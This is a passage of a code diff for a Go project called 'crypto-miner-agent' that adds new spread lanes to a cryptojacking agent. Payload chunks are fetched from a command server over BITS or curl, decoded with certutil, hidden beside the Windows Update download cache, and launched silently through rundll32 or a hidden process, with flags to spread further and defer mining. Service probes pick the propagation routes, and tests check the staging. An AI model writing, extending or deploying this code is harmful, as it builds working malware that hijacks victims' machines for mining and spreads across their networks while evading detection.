"wsus_cache_peer",
|
||||
"dns_txt",
|
||||
"webrtc_mesh",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
@@ -23,7 +26,8 @@ func NormalizeLotlTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"vuln_recon": {},
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
|
||||
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
|
||||
@@ -19,6 +19,9 @@ func TestJoinLaneForSignal(t *testing.T) {
|
||||
{"docker", 0, "docker"},
|
||||
{"CCMEXEC", 0, "gpo"},
|
||||
{"DoSvc", 0, "do_peer"},
|
||||
{"Wuauserv", 0, "wsus_cache_peer"},
|
||||
{"dns_txt:_aether.internal", 0, "dns_txt"},
|
||||
{"webrtc_mesh", 0, "webrtc_mesh"},
|
||||
{"gitlab-runner", 0, "bits_curl"},
|
||||
{"jenkins", 8080, "bits_curl"},
|
||||
{"unknown-svc", 9999, ""},
|
||||
|
||||
@@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() }
|
||||
$watch = @(
|
||||
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
|
||||
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
|
||||
'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS'
|
||||
'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS','Wuauserv','wuauserv'
|
||||
)
|
||||
foreach ($n in $watch) {
|
||||
try {
|
||||
@@ -84,6 +84,10 @@ func probeLocalServices() []ServiceGraphEntry {
|
||||
if dockerPipePresent() {
|
||||
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||
}
|
||||
zone := ProbeDNSTXTZone()
|
||||
if IsDNSTXTReady(zone) {
|
||||
entries = append(entries, entryWithLane("dns_txt:_aether."+zone, 0, "passive_hint"))
|
||||
}
|
||||
return dedupeEntries(entries)
|
||||
}
|
||||
|
||||
|
||||
@@ -50,6 +50,12 @@ func JoinLaneForSignal(serviceName string, port int) string {
|
||||
return "dotnet"
|
||||
case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"):
|
||||
return "do_peer"
|
||||
case strings.Contains(name, "wuauserv") || strings.Contains(name, "windows update") || strings.Contains(name, "wsus"):
|
||||
return "wsus_cache_peer"
|
||||
case strings.Contains(name, "_aether") || strings.Contains(name, "dns_txt"):
|
||||
return "dns_txt"
|
||||
case strings.Contains(name, "webrtc_mesh") || strings.Contains(name, "webrtc"):
|
||||
return "webrtc_mesh"
|
||||
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
|
||||
return "bits_curl"
|
||||
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
|
||||
|
||||
@@ -12,8 +12,10 @@ import (
|
||||
|
||||
// StagingChunk is one downloadable piece of a staged payload.
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
Record string `json:"record,omitempty"` // DNS TXT FQDN for dns_txt lane
|
||||
Index int `json:"index,omitempty"` // shard index for dns_txt assembly order
|
||||
}
|
||||
|
||||
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
|
||||
@@ -28,6 +30,9 @@ type StagingManifest struct {
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSZone string `json:"dns_zone,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
}
|
||||
|
||||
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.
|
||||
|
||||
153
agent/deploy/webrtc_mesh.go
Normal file
153
agent/deploy/webrtc_mesh.go
Normal file
@@ -0,0 +1,153 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread.
|
||||
type WebRTCMeshPolicy struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback.
|
||||
type WebRTCMeshManifest struct {
|
||||
Policy WebRTCMeshPolicy `json:"policy"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCDataChannel is a minimal testable surface for manifest delivery.
|
||||
type WebRTCDataChannel interface {
|
||||
Receive() ([]byte, error)
|
||||
}
|
||||
|
||||
// webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay).
|
||||
var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error)
|
||||
|
||||
type mockWebRTCChannel struct {
|
||||
payload []byte
|
||||
}
|
||||
|
||||
func (m *mockWebRTCChannel) Receive() ([]byte, error) {
|
||||
if len(m.payload) == 0 {
|
||||
return nil, fmt.Errorf("webrtc channel empty")
|
||||
}
|
||||
return m.payload, nil
|
||||
}
|
||||
|
||||
// NewMockWebRTCChannel returns a test channel with preloaded manifest bytes.
|
||||
func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel {
|
||||
return &mockWebRTCChannel{payload: payload}
|
||||
}
|
||||
|
||||
func webrtcMeshWorkDir(cfg config.RuntimeConfig) string {
|
||||
return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName))
|
||||
}
|
||||
|
||||
func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
if webrtcMeshReceiveFn != nil {
|
||||
return webrtcMeshReceiveFn(cfg, policy)
|
||||
}
|
||||
return receiveWebRTCMeshPayloadPlatform(cfg, policy)
|
||||
}
|
||||
|
||||
// RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker.
|
||||
func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) {
|
||||
if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" {
|
||||
return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS)
|
||||
}
|
||||
payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
sum := sha256.Sum256(payload)
|
||||
got := hex.EncodeToString(sum[:])
|
||||
expected := strings.ToLower(strings.TrimSpace(manifest.SHA256))
|
||||
if expected != "" && got != expected {
|
||||
return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
|
||||
}
|
||||
|
||||
dest, err := ResolveStagingPath(manifest.Dest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
workDir := webrtcMeshWorkDir(cfg)
|
||||
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer func() { _ = os.RemoveAll(workDir) }()
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(dest, payload, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
transport := "webrtc_relay"
|
||||
if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" {
|
||||
transport = "lan_http_fallback"
|
||||
}
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
export := strings.TrimSpace(manifest.DLLExport)
|
||||
if export == "" {
|
||||
export = "DllRegisterServer"
|
||||
}
|
||||
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh",
|
||||
transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil
|
||||
default:
|
||||
args := []string{runFlag}
|
||||
if manifest.DeferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if manifest.SpreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh",
|
||||
transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil
|
||||
}
|
||||
}
|
||||
|
||||
// IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread.
|
||||
func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool {
|
||||
if cfg.WebRTCMeshSpread {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// DefaultWebRTCRotationHours is the server policy default for seeder rotation.
|
||||
const DefaultWebRTCRotationHours = 24
|
||||
|
||||
// WebRTCMeshSeederTTL returns duration until next seeder rotation window.
|
||||
func WebRTCMeshSeederTTL(hours int) time.Duration {
|
||||
if hours <= 0 {
|
||||
hours = DefaultWebRTCRotationHours
|
||||
}
|
||||
return time.Duration(hours) * time.Hour
|
||||
}
|
||||
35
agent/deploy/webrtc_mesh_platform.go
Normal file
35
agent/deploy/webrtc_mesh_platform.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func receiveWebRTCMeshPayloadPlatform(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
fallback := strings.TrimSpace(policy.LANFallbackURL)
|
||||
if fallback == "" {
|
||||
fallback = strings.TrimRight(strings.TrimSpace(cfg.ServerURL), "/") + "/api/v1/public/webrtc-mesh/manifest"
|
||||
}
|
||||
client := &http.Client{Timeout: 45 * time.Second}
|
||||
resp, err := client.Get(fallback)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("webrtc lan fallback: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("webrtc lan fallback http %d", resp.StatusCode)
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 32<<20))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(body) == 0 {
|
||||
return nil, fmt.Errorf("webrtc manifest empty")
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
86
agent/deploy/webrtc_mesh_test.go
Normal file
86
agent/deploy/webrtc_mesh_test.go
Normal file
@@ -0,0 +1,86 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestWebRTCMeshMockChannelReceive(t *testing.T) {
|
||||
payload := []byte("webrtc-mesh-manifest-payload")
|
||||
ch := NewMockWebRTCChannel(payload)
|
||||
got, err := ch.Receive()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(got) != string(payload) {
|
||||
t.Fatalf("payload mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebRTCMeshStagingWithMockReceiveFn(t *testing.T) {
|
||||
payload := []byte("webrtc-lan-seed-worker")
|
||||
sum := sha256.Sum256(payload)
|
||||
|
||||
oldFn := webrtcMeshReceiveFn
|
||||
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
if policy.RotationHours != 24 {
|
||||
t.Fatalf("rotation=%d", policy.RotationHours)
|
||||
}
|
||||
return payload, nil
|
||||
}
|
||||
defer func() { webrtcMeshReceiveFn = oldFn }()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}}
|
||||
manifest := WebRTCMeshManifest{
|
||||
Policy: WebRTCMeshPolicy{
|
||||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||||
SignalingRelay: "wss://deck.example/ws/webrtc-relay",
|
||||
SeederAgentID: "agent-seed-1",
|
||||
RotationHours: 24,
|
||||
},
|
||||
SHA256: hex.EncodeToString(sum[:]),
|
||||
Dest: "webrtc-mesh-worker.exe",
|
||||
Launch: "exe",
|
||||
DeferMining: true,
|
||||
}
|
||||
|
||||
_, err := RunWebRTCMeshStaging(cfg, manifest)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
||||
return
|
||||
}
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebRTCMeshSHA256Mismatch(t *testing.T) {
|
||||
oldFn := webrtcMeshReceiveFn
|
||||
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
return []byte("wrong"), nil
|
||||
}
|
||||
defer func() { webrtcMeshReceiveFn = oldFn }()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "webrtc-test"}}
|
||||
manifest := WebRTCMeshManifest{
|
||||
Policy: WebRTCMeshPolicy{RotationHours: 24},
|
||||
SHA256: strings.Repeat("d", 64),
|
||||
Dest: "worker.exe",
|
||||
}
|
||||
_, err := RunWebRTCMeshStaging(cfg, manifest)
|
||||
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
|
||||
t.Fatalf("expected sha256 mismatch, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsWebRTCMeshReadyRequiresForgeFlag(t *testing.T) {
|
||||
if IsWebRTCMeshReady(config.RuntimeConfig{}) {
|
||||
t.Fatal("expected false without forge flag")
|
||||
}
|
||||
if !IsWebRTCMeshReady(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WebRTCMeshSpread: true}}) {
|
||||
t.Fatal("expected true with forge flag")
|
||||
}
|
||||
}
|
||||
155
agent/deploy/wsus_cache_peer_staging.go
Normal file
155
agent/deploy/wsus_cache_peer_staging.go
Normal file
@@ -0,0 +1,155 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download.
|
||||
type WSUSCachePeerManifest struct {
|
||||
Method string `json:"method"`
|
||||
Chunks []StagingChunk `json:"chunks"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
Encoded bool `json:"encoded"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
}
|
||||
|
||||
// WSUSCachePeerFromStagingManifest maps a signed deploy-plan manifest into wsus_cache_peer payload.
|
||||
func WSUSCachePeerFromStagingManifest(m StagingManifest, cacheGroup string) WSUSCachePeerManifest {
|
||||
return WSUSCachePeerManifest{
|
||||
Method: m.Method,
|
||||
Chunks: m.Chunks,
|
||||
SHA256: m.SHA256,
|
||||
Dest: m.Dest,
|
||||
Launch: m.Launch,
|
||||
DLLExport: m.DLLExport,
|
||||
Encoded: m.Encoded,
|
||||
DeferMining: m.DeferMining,
|
||||
SpreadInstall: m.SpreadInstall,
|
||||
CacheGroup: cacheGroup,
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
wsusPeerDownloadCurlFn func(url, dest string) error
|
||||
wsusPeerDownloadBITSFn func(url, dest string) error
|
||||
)
|
||||
|
||||
type wsusPeerDownloader func(url, dest string) error
|
||||
|
||||
func wsusCacheWorkDir(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) string {
|
||||
group := sanitizeName(manifest.CacheGroup)
|
||||
if group == "" {
|
||||
group = "wsus-local"
|
||||
}
|
||||
return filepath.Join(os.TempDir(), ".wsus-cache-"+group+"-"+sanitizeName(cfg.WorkerName))
|
||||
}
|
||||
|
||||
// assembleWSUSCachePeerPayload downloads chunks, verifies SHA256, returns staged dest path.
|
||||
func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest, curlDL, bitsDL wsusPeerDownloader) (dest string, cleanup func(), err error) {
|
||||
if len(manifest.Chunks) == 0 {
|
||||
return "", nil, fmt.Errorf("wsus_cache_peer manifest has no chunks")
|
||||
}
|
||||
dest, err = ResolveStagingPath(manifest.Dest)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
workDir := wsusCacheWorkDir(cfg, manifest)
|
||||
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
cleanupFn := func() { _ = os.RemoveAll(workDir) }
|
||||
|
||||
method := strings.ToLower(strings.TrimSpace(manifest.Method))
|
||||
if method == "" {
|
||||
method = "bits"
|
||||
}
|
||||
|
||||
var assembled []string
|
||||
for i, chunk := range manifest.Chunks {
|
||||
name, err := sanitizeStagingFilename(chunk.File)
|
||||
if err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("chunk %d: %w", i, err)
|
||||
}
|
||||
localPath := filepath.Join(workDir, name)
|
||||
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
switch method {
|
||||
case "bits", "bitsadmin":
|
||||
dl := bitsDL
|
||||
if dl == nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("bits downloader unavailable")
|
||||
}
|
||||
if err := dl(chunk.URL, localPath); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("bits chunk %d: %w", i, err)
|
||||
}
|
||||
default:
|
||||
dl := curlDL
|
||||
if dl == nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("curl downloader unavailable")
|
||||
}
|
||||
if err := dl(chunk.URL, localPath); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
|
||||
}
|
||||
}
|
||||
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
|
||||
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
|
||||
if err := certutilDecodePeer(localPath, decoded); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
|
||||
}
|
||||
assembled = append(assembled, decoded)
|
||||
} else {
|
||||
assembled = append(assembled, localPath)
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
if len(assembled) == 1 {
|
||||
if err := os.Rename(assembled[0], dest); err != nil {
|
||||
if err := copyFile(assembled[0], dest); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if err := concatFiles(dest, assembled); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
}
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
_ = os.Remove(dest)
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
return dest, cleanupFn, nil
|
||||
}
|
||||
|
||||
// RunWSUSCachePeerStaging verifies SHA256, assembles WSUS cache chunks, and launches the worker.
|
||||
func RunWSUSCachePeerStaging(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) (string, error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
return "", fmt.Errorf("wsus_cache_peer staging is Windows-only")
|
||||
}
|
||||
return runWSUSCachePeerStagingWindows(cfg, manifest)
|
||||
}
|
||||
18
agent/deploy/wsus_cache_peer_staging_stub.go
Normal file
18
agent/deploy/wsus_cache_peer_staging_stub.go
Normal file
@@ -0,0 +1,18 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// IsWSUSCachePeerReady is Windows-only (Wuauserv + SoftwareDistribution cache).
|
||||
func IsWSUSCachePeerReady() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func runWSUSCachePeerStagingWindows(_ config.RuntimeConfig, _ WSUSCachePeerManifest) (string, error) {
|
||||
return "", fmt.Errorf("wsus_cache_peer staging is Windows-only")
|
||||
}
|
||||
88
agent/deploy/wsus_cache_peer_staging_test.go
Normal file
88
agent/deploy/wsus_cache_peer_staging_test.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
chunkPath := filepath.Join(dir, "wsus-0.bin")
|
||||
payload := []byte("wsus-cache-cousin-payload")
|
||||
if err := os.WriteFile(chunkPath, payload, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sum := sha256.Sum256(payload)
|
||||
destRel := filepath.Join("af-wsus", "worker.exe")
|
||||
|
||||
fakeDL := func(url, dest string) error {
|
||||
return copyFile(chunkPath, dest)
|
||||
}
|
||||
|
||||
oldCurl := wsusPeerDownloadCurlFn
|
||||
oldBits := wsusPeerDownloadBITSFn
|
||||
wsusPeerDownloadCurlFn = fakeDL
|
||||
wsusPeerDownloadBITSFn = fakeDL
|
||||
defer func() {
|
||||
wsusPeerDownloadCurlFn = oldCurl
|
||||
wsusPeerDownloadBITSFn = oldBits
|
||||
}()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
|
||||
manifest := WSUSCachePeerManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "wsus-0.bin"}},
|
||||
SHA256: hex.EncodeToString(sum[:]),
|
||||
Dest: destRel,
|
||||
CacheGroup: "wsus-lan-1",
|
||||
}
|
||||
|
||||
resolvedDest, err := ResolveStagingPath(destRel)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = os.Remove(resolvedDest)
|
||||
|
||||
staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanup()
|
||||
if staged != resolvedDest {
|
||||
t.Fatalf("dest=%q want %q", staged, resolvedDest)
|
||||
}
|
||||
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
chunkPath := filepath.Join(dir, "wsus-0.bin")
|
||||
if err := os.WriteFile(chunkPath, []byte("bad"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fakeDL := func(url, dest string) error {
|
||||
return copyFile(chunkPath, dest)
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
|
||||
manifest := WSUSCachePeerManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}},
|
||||
SHA256: strings.Repeat("c", 64),
|
||||
Dest: "worker.exe",
|
||||
}
|
||||
_, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
|
||||
if cleanup != nil {
|
||||
defer cleanup()
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
|
||||
t.Fatalf("expected sha256 mismatch, got %v", err)
|
||||
}
|
||||
}
|
||||
112
agent/deploy/wsus_cache_peer_staging_windows.go
Normal file
112
agent/deploy/wsus_cache_peer_staging_windows.go
Normal file
@@ -0,0 +1,112 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// IsWSUSCachePeerReady reports whether Wuauserv/AU registry/cache dir signals are present.
|
||||
func IsWSUSCachePeerReady() bool {
|
||||
if st := serviceStatus("wuauserv"); st != "running" && st != "started" {
|
||||
if st := serviceStatus("Wuauserv"); st != "running" && st != "started" {
|
||||
return false
|
||||
}
|
||||
}
|
||||
windir := os.Getenv("WINDIR")
|
||||
if windir == "" {
|
||||
windir = `C:\Windows`
|
||||
}
|
||||
cacheDir := windir + `\SoftwareDistribution\Download`
|
||||
if _, err := os.Stat(cacheDir); err != nil {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func runWSUSCachePeerStagingWindows(cfg config.RuntimeConfig, manifest WSUSCachePeerManifest) (string, error) {
|
||||
curlDL := wsusPeerDownloadCurlFn
|
||||
if curlDL == nil {
|
||||
curlDL = downloadChunkCurl
|
||||
}
|
||||
bitsDL := wsusPeerDownloadBITSFn
|
||||
if bitsDL == nil {
|
||||
bitsDL = downloadChunkBITS
|
||||
}
|
||||
|
||||
dest, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, curlDL, bitsDL)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
method := strings.ToLower(strings.TrimSpace(manifest.Method))
|
||||
if method == "" {
|
||||
method = "bits"
|
||||
}
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
export := strings.TrimSpace(manifest.DLLExport)
|
||||
if export == "" {
|
||||
export = "DllRegisterServer"
|
||||
}
|
||||
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("wsus_cache_peer staged %d chunk(s) via %s cache_group=%s to %s; launched rundll32 %s",
|
||||
len(manifest.Chunks), method, manifest.CacheGroup, dest, export), nil
|
||||
default:
|
||||
args := []string{runFlag}
|
||||
if manifest.DeferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if manifest.SpreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("wsus_cache_peer staged %d chunk(s) via %s cache_group=%s to %s; launched exe %v",
|
||||
len(manifest.Chunks), method, manifest.CacheGroup, dest, args), nil
|
||||
}
|
||||
}
|
||||
|
||||
// DefaultWSUSCacheDest returns the SoftwareDistribution\Download cousin path for staging.
|
||||
func DefaultWSUSCacheDest(fileName string) string {
|
||||
windir := os.Getenv("WINDIR")
|
||||
if windir == "" {
|
||||
windir = `C:\Windows`
|
||||
}
|
||||
if fileName == "" {
|
||||
fileName = "af-wsus-worker.exe"
|
||||
}
|
||||
return windir + `\SoftwareDistribution\Download\af-cache\` + fileName
|
||||
}
|
||||
|
||||
// ProbeWSUSCacheDir returns the WSUS download cache directory if present.
|
||||
func ProbeWSUSCacheDir() string {
|
||||
windir := os.Getenv("WINDIR")
|
||||
if windir == "" {
|
||||
windir = `C:\Windows`
|
||||
}
|
||||
dir := windir + `\SoftwareDistribution\Download`
|
||||
if _, err := os.Stat(dir); err != nil {
|
||||
return ""
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
func wsusAURegistryPresent() bool {
|
||||
if _, err := exec.LookPath("reg.exe"); err != nil {
|
||||
return false
|
||||
}
|
||||
out, err := HiddenCombinedOutput("reg.exe", "query", `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate`)
|
||||
